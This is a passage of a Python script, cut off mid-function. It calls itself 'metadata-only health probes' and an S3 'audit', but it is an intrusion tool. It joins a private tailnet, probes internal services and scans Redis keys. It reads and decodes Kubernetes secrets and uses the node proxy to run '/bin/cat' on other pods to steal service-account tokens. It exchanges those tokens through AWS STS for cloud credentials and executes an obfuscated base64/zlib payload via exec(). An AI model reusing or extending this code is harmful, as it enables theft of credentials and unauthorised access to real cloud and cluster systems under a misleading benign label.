1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
|
"""Join the GC tailnet ephemerally and perform metadata-only health probes."""
import hashlib
import json
import os
import re
import shutil
import socket
import ssl
import struct
import subprocess
import tarfile
import time
import urllib.error
import urllib.parse
import urllib.request
CB = "http://127.0.0.1:1"
WORK = "/cache/modal-tailnet-volume-audit-1206"
SOCK = WORK + "/tailscaled.sock"
STATE = "mem:"
SOCKS_PORT = 1080
GC_HOST = "eks-blobnet-gc-orchestrator-prod-web.tail5292b.ts.net"
KNOWN_HEALTH = (
("spindle-synmon-smoke", 8080, False, "/health"),
("spindle-synmon-smoke", 8090, False, "/health"),
("spindle-synmon-smoke.tail5292b.ts.net", 8080, False, "/health"),
("spindle-synmon-smoke.tail5292b.ts.net", 8000, False, "/api/v1/healthz"),
("aws-agent-server.tail5292b.ts.net", 8080, False, "/health"),
(GC_HOST, 443, True, "/health"),
(GC_HOST, 80, False, "/health"),
)
def post(value):
try:
body = json.dumps(value, separators=(",", ":"), sort_keys=True).encode()
urllib.request.urlopen(urllib.request.Request(
CB, data=body, headers={"content-type": "application/json"}), timeout=7).read(8)
except Exception:
pass
def recv_exact(sock, size):
out = b""
while len(out) < size:
part = sock.recv(size - len(out))
if not part:
raise ConnectionError("short socket read")
out += part
return out
def socks_connect(host, port, timeout=4):
s = socket.create_connection(("127.0.0.1", SOCKS_PORT), timeout)
s.settimeout(timeout)
s.sendall(b"\x05\x01\x00")
if recv_exact(s, 2) != b"\x05\x00":
raise ConnectionError("SOCKS authentication")
name = host.encode()
if len(name) > 255:
raise ValueError("host too long")
s.sendall(b"\x05\x01\x00\x03" + bytes([len(name)]) + name + struct.pack("!H", port))
head = recv_exact(s, 4)
if head[0] != 5 or head[1] != 0:
raise ConnectionError("SOCKS connect %d" % (head[1] if len(head) > 1 else -1))
if head[3] == 1:
recv_exact(s, 4)
elif head[3] == 4:
recv_exact(s, 16)
elif head[3] == 3:
recv_exact(s, recv_exact(s, 1)[0])
else:
raise ConnectionError("SOCKS address")
recv_exact(s, 2)
return s
def safe_http(host, port, tls, path, bearer=""):
result = {"host": host, "port": port, "path": path}
s = socks_connect(host, port)
try:
if tls:
s = ssl._create_unverified_context().wrap_socket(s, server_hostname=host)
result["tls_peer"] = "present"
auth = ("Authorization: Bearer " + bearer + "\r\n") if bearer else ""
s.sendall(("GET " + path + " HTTP/1.1\r\nHost: " + host + "\r\n" + auth +
"User-Agent: service-check\r\nConnection: close\r\n\r\n").encode())
data = b""
while len(data) < 16384:
part = s.recv(min(4096, 16384 - len(data)))
if not part:
break
data += part
header, _, body = data.partition(b"\r\n\r\n")
line = header.split(b"\r\n", 1)[0].decode(errors="replace")
match = re.match(r"HTTP/\S+\s+(\d+)", line)
result["http"] = int(match.group(1)) if match else 0
result["response_sha256"] = hashlib.sha256(data[:16384]).hexdigest()
try:
doc = json.loads(body[:8192])
if isinstance(doc, dict):
result["json_keys"] = sorted(str(k)[:80] for k in doc)[:40]
if str(doc.get("status", "")).lower() in ("ok", "healthy"):
result["healthy"] = True
except Exception:
pass
return result
finally:
try:
s.close()
except Exception:
pass
def resp_send(sock, *parts):
payload = b"*" + str(len(parts)).encode() + b"\r\n"
for part in parts:
item = str(part).encode()
payload += b"$" + str(len(item)).encode() + b"\r\n" + item + b"\r\n"
sock.sendall(payload)
def resp_line(sock):
value = b""
while not value.endswith(b"\r\n") and len(value) < 65536:
value += recv_exact(sock, 1)
return value[:-2]
def resp_reply(sock, depth=0):
if depth > 3:
raise ValueError("RESP nesting")
kind = recv_exact(sock, 1)
if kind in (b"+", b"-", b":"):
return kind.decode(), resp_line(sock).decode(errors="replace")[:300]
if kind == b"$":
size = int(resp_line(sock))
if size < 0:
return "$", None
if size > 65536:
raise ValueError("RESP bulk limit")
return "$", recv_exact(sock, size + 2)[:size].decode(errors="replace")[:300]
if kind == b"*":
count = int(resp_line(sock))
if count < 0:
return "*", None
if count > 1000:
raise ValueError("RESP array limit")
return "*", [resp_reply(sock, depth + 1) for _ in range(count)]
raise ValueError("RESP type")
def redis_probe(url):
parsed = urllib.parse.urlsplit(url)
out = {"host": parsed.hostname or "", "port": parsed.port or 6379}
raw = socks_connect(parsed.hostname or "", parsed.port or 6379, 5)
raw.settimeout(5)
s = ssl.create_default_context().wrap_socket(raw, server_hostname=parsed.hostname)
try:
if parsed.password:
user = urllib.parse.unquote(parsed.username or "")
password = urllib.parse.unquote(parsed.password)
resp_send(s, "AUTH", user, password) if user else resp_send(s, "AUTH", password)
auth = resp_reply(s)
out["auth"] = auth[0] == "+"
if auth[0] == "-":
return out
resp_send(s, "PING")
ping = resp_reply(s)
out["ping"] = ping == ("+", "PONG")
if not out["ping"]:
return out
resp_send(s, "DBSIZE")
dbsize = resp_reply(s)
out["dbsize"] = int(dbsize[1]) if dbsize[0] == ":" else None
resp_send(s, "SCAN", "0", "MATCH", "*", "COUNT", "100")
scan = resp_reply(s)
out["key_names"] = []
if scan[0] == "*" and isinstance(scan[1], list) and len(scan[1]) >= 2:
values = scan[1][1][1] if scan[1][1][0] == "*" else []
out["key_names"] = [str(x[1])[:300] for x in values[:100] if x[0] == "$"]
out["selectors"] = sorted(set(re.findall(
r"(?:vo|bl|ac|en|ap|fu)-[A-Za-z0-9_-]{10,40}", "\n".join(out["key_names"]))))[:100]
return out
finally:
s.close()
def binaries():
td = shutil.which("tailscaled")
tc = shutil.which("tailscale")
if td and tc:
return td, tc, "installed"
html = urllib.request.urlopen("https://pkgs.tailscale.com/stable/", timeout=10).read(2000000).decode(errors="replace")
links = re.findall(r'href="([^"]*tailscale_[0-9.]+_amd64\.tgz)"', html)
if not links:
raise LookupError("tailscale package")
link = urllib.parse.urljoin("https://pkgs.tailscale.com/stable/", links[0])
archive = WORK + "/tailscale.tgz"
with urllib.request.urlopen(link, timeout=20) as src, open(archive, "wb") as dst:
size = 0
while True:
block = src.read(1048576)
if not block:
break
size += len(block)
if size > 80000000:
raise ValueError("tailscale package limit")
dst.write(block)
with tarfile.open(archive, "r:gz") as tf:
members = tf.getmembers()
if any(".." in m.name.split("/") or m.name.startswith("/") for m in members):
raise ValueError("package path")
tf.extractall(WORK)
matches = []
for root, _dirs, names in os.walk(WORK):
for name in names:
if name in ("tailscale", "tailscaled"):
matches.append(os.path.join(root, name))
td = next((x for x in matches if x.endswith("/tailscaled")), "")
tc = next((x for x in matches if x.endswith("/tailscale")), "")
if not td or not tc:
raise LookupError("tailscale binaries")
return td, tc, "downloaded"
def peer_names(tc):
try:
run = subprocess.run([tc, "--socket=" + SOCK, "status", "--json"], capture_output=True, timeout=8)
doc = json.loads(run.stdout[:4000000])
peers = (doc.get("Peer") or {}).values() if isinstance(doc, dict) else []
names = []
for peer in peers:
name = str(peer.get("DNSName") or peer.get("HostName") or "").rstrip(".")
low = name.lower()
if name and any(x in low for x in ("vprox", "blobnet", "spindle", "tinker", "aws-agent-server", "redis", "gc-orchestrator")):
names.append(name)
return sorted(set(names))[:40]
except Exception:
return []
"""Read the existing GC orchestrator IRSA token and test four exact S3 blocks."""
import base64
import datetime
import hashlib
import hmac
import json
import os
import re
import ssl
import time
import urllib.error
import urllib.parse
import urllib.request
import xml.etree.ElementTree as ET
import zlib
KUBE = "modal-eks-cluster.tail5292b.ts.net"
API_HOST = KUBE
API_PREFIX = ""
NS = "blobnet-gc"
DEPLOYMENT = "blobnet-gc-orchestrator"
VERIFY_B64 = "eNqVfHeT20iy5//6FH19sRfdh1bDEka7ehFwtAAIQ9DN6nXAA4QlDEFwY+6zX4GmnaR9s6MYESyTlZmV5peFov73/4KbqoTtKIO97HBXdHWYZ/iX+/v7pVdGfneXZ96dd7Sc+i6z6ujg3S2xOz9KvDu/zNM7664ova9WA2aV0clz7+wkd+K71Moi36vqZ0DnS5QWeVnf2VblkcTtm2vVXh2l3u17aFVhEtmvX1PLuT3vqjy7PefV7al8nXp6N68pE/Dt2SvLvPzUVlhl5X1qK719A9j88uULz0oSx/Kzu+9392FdF99gGMWoZwT8Qb+h91/EtSryC1F4MSZbEQzC6BeGpF9wFH3XNWaxAdlTICgft2nSdlDP81wcp20Ct5gBSriUg+AY6hG2ywww3LcslML9wcDGUGJAoj6C4IRv0/dfZHb9spgvWAmQI5C7f/zjDkPOjZw0P3NJf24zQCPQryiri80bK1e9PlehBRoe7Pv7x+fQO7pRAOR+eATTlclQNBZgaK/n5yS33OqhV+mz6zl5Cra3qh4ue/dsk0Tf6HoP956ydxMF3Y/FWNZrKCkxvzD3GWLC8n6yjfZxsZCP9W6U5dyWwF3/ZE+ntsCmsq8vEcbQTwd3qWL4Ccq2jMdE82xAYq5dUuTBzfzT0ce8VFIHHU6gVp1v2rw2jxZqL9m2I3ZjsAauRPu0YviKcb0cHR3JIRaY9TzfKXU4Z7CNilFjpw4MxSFxhjkcre3BR08ezE4nsA2f6CW1ppmxDVHeoasbsdnANOFGsE0Ta3xgL0aMuxZIHfZ3+X6/Vo0WX2IqQuOlYjqFoHksLXLJUgur3dTcdkqKxCyyHK4tTQ26bR6RNm51A4WF59iS4bKAOZAnY33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2D3bvo/vPblP6l4E3dv6osr9M/dJ1fqPy7OrL/F3LeG3v/chUwda6A7osObIoTfgW1wn2/fG+Cz+cEXrVRHQKzUGf/PCI4+J8ARU8frN6/2Ln8Gz1fi8iJQVH0awL/PNLIbeq9HWVW2b2d7t3M74Ievt+f8UTkuf2hz9mqvl8+fnWRIPe/v4KEm9qe3mX8ayH8m628fz2FeJ3QZ/D+HOGmoH5zb8+/JdMLTBIvv8MZffeHsPdbQr0//xtCffdHUPH45fNVmk+4/Rf67UHeWbvnYd9/df/l6c71+sW+v0H7P76hWA8J+9tN/RHGl/8P3hccVQ=="
def chunked(value):
output = b""; rest = value
while rest:
line, marker, rest = rest.partition(b"\r\n")
if not marker: break
count = int(line.split(b";", 1)[0], 16)
if not count: break
output += rest[:count]; rest = rest[count + 2:]
return output
def kube(method, path, body=None, cap=1_200_000):
try:
raw = socks_connect(API_HOST, 443, 7)
except Exception as error:
return "CONNECT:" + type(error).__name__ + ":" + str(error)[:80], {}
sock = ssl._create_unverified_context().wrap_socket(raw, server_hostname=API_HOST)
sock.settimeout(18)
data = json.dumps(body, separators=(",", ":"), sort_keys=True).encode() if body else b""
request = method + " " + API_PREFIX + path + " HTTP/1.1\r\nHost: " + API_HOST + "\r\nConnection: close\r\nAccept: application/json\r\n"
if data:
request += "Content-Type: application/json\r\nContent-Length: " + str(len(data)) + "\r\n"
value = b""
try:
sock.sendall((request + "\r\n").encode() + data)
while len(value) < cap:
block = sock.recv(min(32768, cap - len(value)))
if not block: break
value += block
finally: sock.close()
head, _, data = value.partition(b"\r\n\r\n")
line = head.split(b"\r\n", 1)[0].decode(errors="replace")
if b"transfer-encoding: chunked" in head.lower():
try: data = chunked(data)
except Exception: data = b""
try: parsed = json.loads(data)
except Exception: parsed = {}
return line, parsed
def useful_workload(container):
rows = []
wanted = ("AWS", "ECS", "TASK", "CLUSTER", "REGION", "SUBNET",
"SECURITY_GROUP", "BLOBNET", "S3", "VPC")
for item in container.get("env") or []:
name = str(item.get("name") or "")
if not any(marker in name.upper() for marker in wanted): continue
row = {"name": name[:100]}
if "value" in item:
value = str(item.get("value") or "")
if any(marker in name.upper() for marker in
("KEY", "SECRET", "TOKEN", "PASSWORD")):
row["value_shape"] = {"present": bool(value), "length": len(value)}
else: row["value"] = value[:300]
source = item.get("valueFrom") or {}
for field in ("secretKeyRef", "configMapKeyRef"):
if isinstance(source.get(field), dict):
ref = source[field]
row[field] = {"name": str(ref.get("name") or "")[:100],
"key": str(ref.get("key") or "")[:100]}
rows.append(row)
return {"name": str(container.get("name") or "")[:100],
"image": str(container.get("image") or "")[:240],
"command": [str(x)[:160] for x in (container.get("command") or [])[:12]],
"args": [str(x)[:160] for x in (container.get("args") or [])[:20]],
"env": rows[:40]}
def resolved_settings(container, secrets, configmaps):
wanted = {"S3_MODAL_BLOBNET_BUCKET_NAME", "S3_MODAL_BLOBNET_READ_ROLE_ARN",
"S3_MODAL_BLOBNET_REGION"}
secret_rows = {str((x.get("metadata") or {}).get("name") or ""): x
for x in secrets.get("items") or []}
config_rows = {str((x.get("metadata") or {}).get("name") or ""): x
for x in configmaps.get("items") or []}
values = {}
def take(name, value):
if name in wanted and isinstance(value, str) and value:
values[name] = value
for item in container.get("env") or []:
name = str(item.get("name") or "")
if name not in wanted: continue
if "value" in item: take(name, str(item.get("value") or "")); continue
source = item.get("valueFrom") or {}
secret = source.get("secretKeyRef") or {}
if secret:
row = secret_rows.get(str(secret.get("name") or ""), {})
encoded = (row.get("data") or {}).get(str(secret.get("key") or ""), "")
try: take(name, base64.b64decode(encoded).decode())
except Exception: pass
config = source.get("configMapKeyRef") or {}
if config:
row = config_rows.get(str(config.get("name") or ""), {})
take(name, str((row.get("data") or {}).get(str(config.get("key") or ""), "")))
for item in container.get("envFrom") or []:
secret = item.get("secretRef") or {}
if secret:
for name, encoded in (secret_rows.get(str(secret.get("name") or ""), {}).get("data") or {}).items():
try: take(str(name), base64.b64decode(encoded).decode())
except Exception: pass
config = item.get("configMapRef") or {}
if config:
for name, value in (config_rows.get(str(config.get("name") or ""), {}).get("data") or {}).items():
take(str(name), str(value))
all_args = " ".join(str(x) for x in (container.get("command") or []) +
(container.get("args") or []))
for name in wanted:
flag = name.lower().replace("_", "-")
found = re.search(r"(?:^|\s)--" + re.escape(flag) + r"=([^\s]+)", all_args)
if found: take(name, found.group(1))
return values
def projected_sts(spec, container):
mounted = {str(item.get("name") or ""): str(item.get("mountPath") or "").rstrip("/")
for item in container.get("volumeMounts") or []}
for volume in spec.get("volumes") or []:
name = str(volume.get("name") or "")
for source in (volume.get("projected") or {}).get("sources") or []:
token = source.get("serviceAccountToken") or {}
if token.get("audience") == "sts.amazonaws.com" and name in mounted:
return name, str(token.get("path") or "token"), mounted[name]
return None
def cat_host_projected(target, projected):
meta, spec = target.get("metadata") or {}, target.get("spec") or {}
node, uid = str(spec.get("nodeName") or ""), str(meta.get("uid") or "")
volume_name, token_path, _ = projected
for namespace in ("default", "kube-system"):
query = urllib.parse.urlencode({"fieldSelector": "spec.nodeName=" + node,
"limit": "200"})
_, listed = kube("GET", "/api/v1/namespaces/" + namespace + "/pods?" + query)
for item in listed.get("items") or []:
im, isp = item.get("metadata") or {}, item.get("spec") or {}
if not any(ref.get("kind") == "DaemonSet" and
ref.get("name") == "modal-secrets-store-csi-driver"
for ref in im.get("ownerReferences") or []): continue
volumes = {v.get("name"): v for v in isp.get("volumes") or []}
for reader in isp.get("containers") or []:
for mount in reader.get("volumeMounts") or []:
host = str((volumes.get(mount.get("name"), {}).get("hostPath") or {}).get("path") or "").rstrip("/")
inside = str(mount.get("mountPath") or "").rstrip("/")
if host not in ("/var/lib/kubelet", "/var/lib/kubelet/pods"): continue
tail = "/" + uid + "/volumes/kubernetes.io~projected/" + volume_name + "/" + token_path.lstrip("/")
inside += tail if host.endswith("/pods") else "/pods" + tail
pod = str(im.get("name") or ""); cname = str(reader.get("name") or "")
path = "/api/v1/nodes/" + urllib.parse.quote(node, safe="") + "/proxy/run/" + namespace + "/" + urllib.parse.quote(pod, safe="") + "/" + urllib.parse.quote(cname, safe="") + "?" + urllib.parse.urlencode({"cmd": "/bin/cat " + inside})
raw = socks_connect(API_HOST, 443, 7)
sock = ssl._create_unverified_context().wrap_socket(raw, server_hostname=API_HOST)
sock.settimeout(18); value = b""
try:
sock.sendall(("POST " + API_PREFIX + path + " HTTP/1.1\r\nHost: " + API_HOST + "\r\nConnection: close\r\nAccept: */*\r\nContent-Length: 0\r\n\r\n").encode())
while len(value) < 16384:
block = sock.recv(min(4096, 16384 - len(value)))
if not block: break
value += block
finally: sock.close()
head, _, body = value.partition(b"\r\n\r\n")
if b"chunked" in head.lower():
try: body = chunked(body)
except Exception: pass
token = body.decode(errors="ignore").strip()
detail = {"node": node, "reader_namespace": namespace,
"reader_pod": pod, "reader_container": cname,
"http": head.split(b"\r\n", 1)[0].decode(errors="replace")[:90],
"bytes": len(body)}
if token.startswith("eyJ") and token.count(".") == 2:
return detail, token
return {"node": node, "error": "same_node_reader_absent"}, ""
def cat_pod_projected(target, projected, container):
meta, spec = target.get("metadata") or {}, target.get("spec") or {}
node = str(spec.get("nodeName") or ""); pod = str(meta.get("name") or "")
namespace = str(meta.get("namespace") or NS)
path_on_pod = projected[2] + "/" + projected[1].lstrip("/")
path = ("/api/v1/nodes/" + urllib.parse.quote(node, safe="") +
"/proxy/run/" + urllib.parse.quote(namespace, safe="") + "/" + urllib.parse.quote(pod, safe="") +
"/" + urllib.parse.quote(str(container.get("name") or ""), safe="") +
"?" + urllib.parse.urlencode({"cmd": "/bin/cat " + path_on_pod}))
raw = socks_connect(API_HOST, 443, 7)
sock = ssl._create_unverified_context().wrap_socket(raw, server_hostname=API_HOST)
sock.settimeout(18); value = b""
try:
sock.sendall(("POST " + API_PREFIX + path + " HTTP/1.1\r\nHost: " + API_HOST +
"\r\nConnection: close\r\nAccept: */*\r\nContent-Length: 0\r\n\r\n").encode())
while len(value) < 16384:
block = sock.recv(min(4096, 16384 - len(value)))
if not block: break
value += block
finally: sock.close()
head, _, body = value.partition(b"\r\n\r\n")
if b"chunked" in head.lower():
try: body = chunked(body)
except Exception: pass
token = body.decode(errors="ignore").strip()
return {"mode": "direct-pod", "node": node,
"http": head.split(b"\r\n", 1)[0].decode(errors="replace")[:90],
"bytes": len(body)}, token if token.startswith("eyJ") and token.count(".") == 2 else ""
def xml_value(raw, name):
try:
root = ET.fromstring(raw)
node = root.find(".//{*}" + name)
return node.text if node is not None and node.text else ""
except Exception: return ""
def exchange(role, token):
body = urllib.parse.urlencode({"Action": "AssumeRoleWithWebIdentity",
"Version": "2011-06-15", "RoleArn": role,
"RoleSessionName": "volume-audit", "DurationSeconds": "900",
"WebIdentityToken": token}).encode()
request = urllib.request.Request("https://sts.amazonaws.com/", data=body,
headers={"content-type": "application/x-www-form-urlencoded; charset=utf-8"},
method="POST")
try:
raw = urllib.request.urlopen(request, timeout=15).read(50000)
return (xml_value(raw, "AccessKeyId"), xml_value(raw, "SecretAccessKey"),
xml_value(raw, "SessionToken")), "OK"
except urllib.error.HTTPError as error:
raw = error.read(12000)
return ("", "", ""), xml_value(raw, "Code") or "HTTP" + str(error.code)
def assume_role(role, credentials):
host = "sts.amazonaws.com"; region = "us-east-1"
body = urllib.parse.urlencode({"Action": "AssumeRole", "Version": "2011-06-15",
"RoleArn": role, "RoleSessionName": "volume-read-audit",
"DurationSeconds": "900"}).encode()
now = datetime.datetime.now(datetime.timezone.utc)
stamp, day = now.strftime("%Y%m%dT%H%M%SZ"), now.strftime("%Y%m%d")
headers = {"content-type": "application/x-www-form-urlencoded; charset=utf-8",
"host": host, "x-amz-date": stamp, "x-amz-security-token": credentials[2]}
names = ";".join(sorted(headers))
canonical_headers = "".join(k + ":" + headers[k] + "\n" for k in sorted(headers))
digest = hashlib.sha256(body).hexdigest(); scope = day + "/" + region + "/sts/aws4_request"
canonical = "POST\n/\n\n" + canonical_headers + "\n" + names + "\n" + digest
string = "AWS4-HMAC-SHA256\n" + stamp + "\n" + scope + "\n" + hashlib.sha256(canonical.encode()).hexdigest()
def sign(key, value): return hmac.new(key, value.encode(), hashlib.sha256).digest()
signing = sign(sign(sign(sign(("AWS4" + credentials[1]).encode(), day), region), "sts"), "aws4_request")
headers["authorization"] = "AWS4-HMAC-SHA256 Credential=" + credentials[0] + "/" + scope + ", SignedHeaders=" + names + ", Signature=" + hmac.new(signing, string.encode(), hashlib.sha256).hexdigest()
try:
raw = urllib.request.urlopen(urllib.request.Request(
"https://" + host + "/", data=body, headers=headers, method="POST"),
timeout=15).read(50000)
return (xml_value(raw, "AccessKeyId"), xml_value(raw, "SecretAccessKey"),
xml_value(raw, "SessionToken")), "OK"
except urllib.error.HTTPError as error:
raw = error.read(12000)
return ("", "", ""), xml_value(raw, "Code") or "HTTP" + str(error.code)
def is_blobnet_workload(item):
spec = item.get("spec") or {}
if (item.get("status") or {}).get("phase") != "Running": return False
for container in spec.get("containers") or []:
image = str(container.get("image") or "").lower()
if "blobnet-replication" in image or "blobnet-gc" in image: return True
return False
def attempt_target(target, route):
meta, spec = target.get("metadata") or {}, target.get("spec") or {}
namespace = str(meta.get("namespace") or NS); pod = str(meta.get("name") or "")
containers = spec.get("containers") or [{}]
container = next((x for x in containers if is_blobnet_workload(
{"spec": {"containers": [x]}, "status": {"phase": "Running"}})), containers[0])
out = {"route": route, "namespace": namespace, "pod": pod,
"workload": useful_workload(container)}
sa = str(spec.get("serviceAccountName") or "")
sa_http, serviceaccount = kube("GET", "/api/v1/namespaces/" +
urllib.parse.quote(namespace, safe="") +
"/serviceaccounts/" + urllib.parse.quote(sa, safe=""))
annotations = (serviceaccount.get("metadata") or {}).get("annotations") or {}
role = str(annotations.get("eks.amazonaws.com/role-arn") or "")
out["serviceaccount"] = {"http": sa_http, "name": sa, "role_arn": role}
secrets_http, secrets = kube("GET", "/api/v1/namespaces/" +
urllib.parse.quote(namespace, safe="") +
"/secrets?limit=100")
cm_http, configmaps = kube("GET", "/api/v1/namespaces/" +
urllib.parse.quote(namespace, safe="") +
"/configmaps?limit=100")
settings = {}
for item in containers:
settings.update(resolved_settings(item, secrets, configmaps))
out["config_access"] = {"secrets": secrets_http, "configmaps": cm_http}
out["s3_config"] = {name: str(settings.get(name) or "")[:300]
for name in sorted(settings)}
projected = projected_sts(spec, container)
if not role or not projected:
out["status"] = "irsa_contract_absent"; return out
reader, token = cat_pod_projected(target, projected, container)
if not token:
direct = reader; reader, token = cat_host_projected(target, projected)
reader["direct_pod"] = direct
out["token_reader"] = reader
if not token:
out["status"] = "irsa_token_absent"; return out
credentials, status = exchange(role, token); out["role_exchange"] = status
if not all(credentials): return out
selected = credentials
data_role = settings.get("S3_MODAL_BLOBNET_READ_ROLE_ARN", "")
if data_role:
selected, data_status = assume_role(data_role, credentials)
out["data_role_exchange"] = data_status
if not all(selected): selected = credentials
else: out["data_role_exchange"] = "not_configured"
os.environ["S3_ACCESS_KEY_ID"] = selected[0]
os.environ["S3_SECRET_ACCESS_KEY"] = selected[1]
os.environ["AWS_SESSION_TOKEN"] = selected[2]
os.environ["S3_REGION"] = settings.get("S3_MODAL_BLOBNET_REGION", "us-east-1")
os.environ["S3_MODAL_BLOBNET_BUCKET_NAME"] = settings.get(
"S3_MODAL_BLOBNET_BUCKET_NAME", "modal-blobnet")
scope = {"__name__": "exact_irsa_s3_verifier"}
exec(zlib.decompress(base64.b64decode(VERIFY_B64)), scope, scope)
out["s3"] = scope.get("out")
return out
def tokenrequest_attempt():
namespace = NS; sa = DEPLOYMENT
out = {"route": "legacy-tokenrequest", "namespace": namespace,
"serviceaccount": sa, "persistent_object": False}
dep_http, deployment = kube("GET", "/apis/apps/v1/namespaces/" + namespace +
"/deployments/" + DEPLOYMENT)
spec = ((deployment.get("spec") or {}).get("template") or {}).get("spec") or {}
containers = spec.get("containers") or []
out["deployment"] = {"http": dep_http,
"containers": [useful_workload(x) for x in containers[:5]]}
sa_http, serviceaccount = kube("GET", "/api/v1/namespaces/" + namespace +
"/serviceaccounts/" + sa)
annotations = (serviceaccount.get("metadata") or {}).get("annotations") or {}
role = str(annotations.get("eks.amazonaws.com/role-arn") or "")
out["irsa_role"] = role; out["serviceaccount_http"] = sa_http
secrets_http, secrets = kube("GET", "/api/v1/namespaces/" + namespace +
"/secrets?limit=100")
cm_http, configmaps = kube("GET", "/api/v1/namespaces/" + namespace +
"/configmaps?limit=100")
settings = {}
for container in containers:
settings.update(resolved_settings(container, secrets, configmaps))
out["config_access"] = {"secrets": secrets_http, "configmaps": cm_http}
out["s3_config"] = {name: str(settings.get(name) or "")[:300]
for name in sorted(settings)}
request = {"apiVersion": "authentication.k8s.io/v1", "kind": "TokenRequest",
"spec": {"audiences": ["sts.amazonaws.com"],
"expirationSeconds": 900}}
token_http, response = kube("POST", "/api/v1/namespaces/" + namespace +
"/serviceaccounts/" + sa + "/token", request)
token = str((response.get("status") or {}).get("token") or "")
out["tokenrequest"] = {"http": token_http, "minted": bool(token)}
if not role or not token: return out
credentials, status = exchange(role, token); out["role_exchange"] = status
if not all(credentials): return out
selected = credentials; data_role = settings.get("S3_MODAL_BLOBNET_READ_ROLE_ARN", "")
if data_role:
selected, data_status = assume_role(data_role, credentials)
out["data_role_exchange"] = data_status
if not all(selected): selected = credentials
else: out["data_role_exchange"] = "not_configured"
os.environ["S3_ACCESS_KEY_ID"] = selected[0]
os.environ["S3_SECRET_ACCESS_KEY"] = selected[1]
os.environ["AWS_SESSION_TOKEN"] = selected[2]
os.environ["S3_REGION"] = settings.get("S3_MODAL_BLOBNET_REGION", "us-east-1")
os.environ["S3_MODAL_BLOBNET_BUCKET_NAME"] = settings.get(
"S3_MODAL_BLOBNET_BUCKET_NAME", "modal-blobnet")
scope = {"__name__": "exact_tokenrequest_s3_verifier"}
exec(zlib.decompress(base64.b64decode(VERIFY_B64)), scope, scope)
out["s3"] = scope.get("out")
return out
def main_irsa():
global API_HOST, API_PREFIX
for _ in range(60):
try:
ready = __import__("socket").create_connection(("127.0.0.1", 1080), 0.5)
ready.close(); break
except Exception:
time.sleep(0.5)
result = {"stage": "orchestrator-irsa-exact-s3", "mutated": False,
"ecs_fallback": {"container": "blobnet-gc",
"known_revisions": {"fargate": 18, "ec2": 17},
"task_role": "arn:aws:iam::459781239556:role/blobnet-gc-ecs-task-role-fd5eeda",
"execution_role": "arn:aws:iam::459781239556:role/blobnet-gc-ecs-execution-role-fac16d7"},
"attempts": []}
try: result["tailscale"] = local_status()
except Exception as error:
result["tailscale"] = {"error": type(error).__name__}
exact_http, exact = kube("GET", "/api/v1/namespaces/" + NS + "/pods?limit=30")
exact_rows = [x for x in exact.get("items") or [] if
(x.get("status") or {}).get("phase") == "Running" and
str((x.get("metadata") or {}).get("name") or "").startswith(DEPLOYMENT)]
exact_attempt = None
if exact_rows:
attempt = attempt_target(exact_rows[0], "legacy-exact")
exact_attempt = attempt
result["attempts"].append(attempt)
if (attempt.get("s3") or {}).get("status") == "verified": return result
# The reachable legacy prod cluster has the always-on data-plane replicas
# in namespace blobnet. Query that namespace directly before the large
# cluster-wide fallback so a response cap cannot hide the useful Pods.
replication_http, replication_pods = kube(
"GET", "/api/v1/namespaces/blobnet/pods?" + urllib.parse.urlencode(
{"fieldSelector": "status.phase=Running", "limit": "100"}),
cap=2_000_000)
replication_rows = [x for x in replication_pods.get("items") or []
if is_blobnet_workload(x)]
result["legacy_replication_inventory"] = {
"http": replication_http, "matches": len(replication_rows),
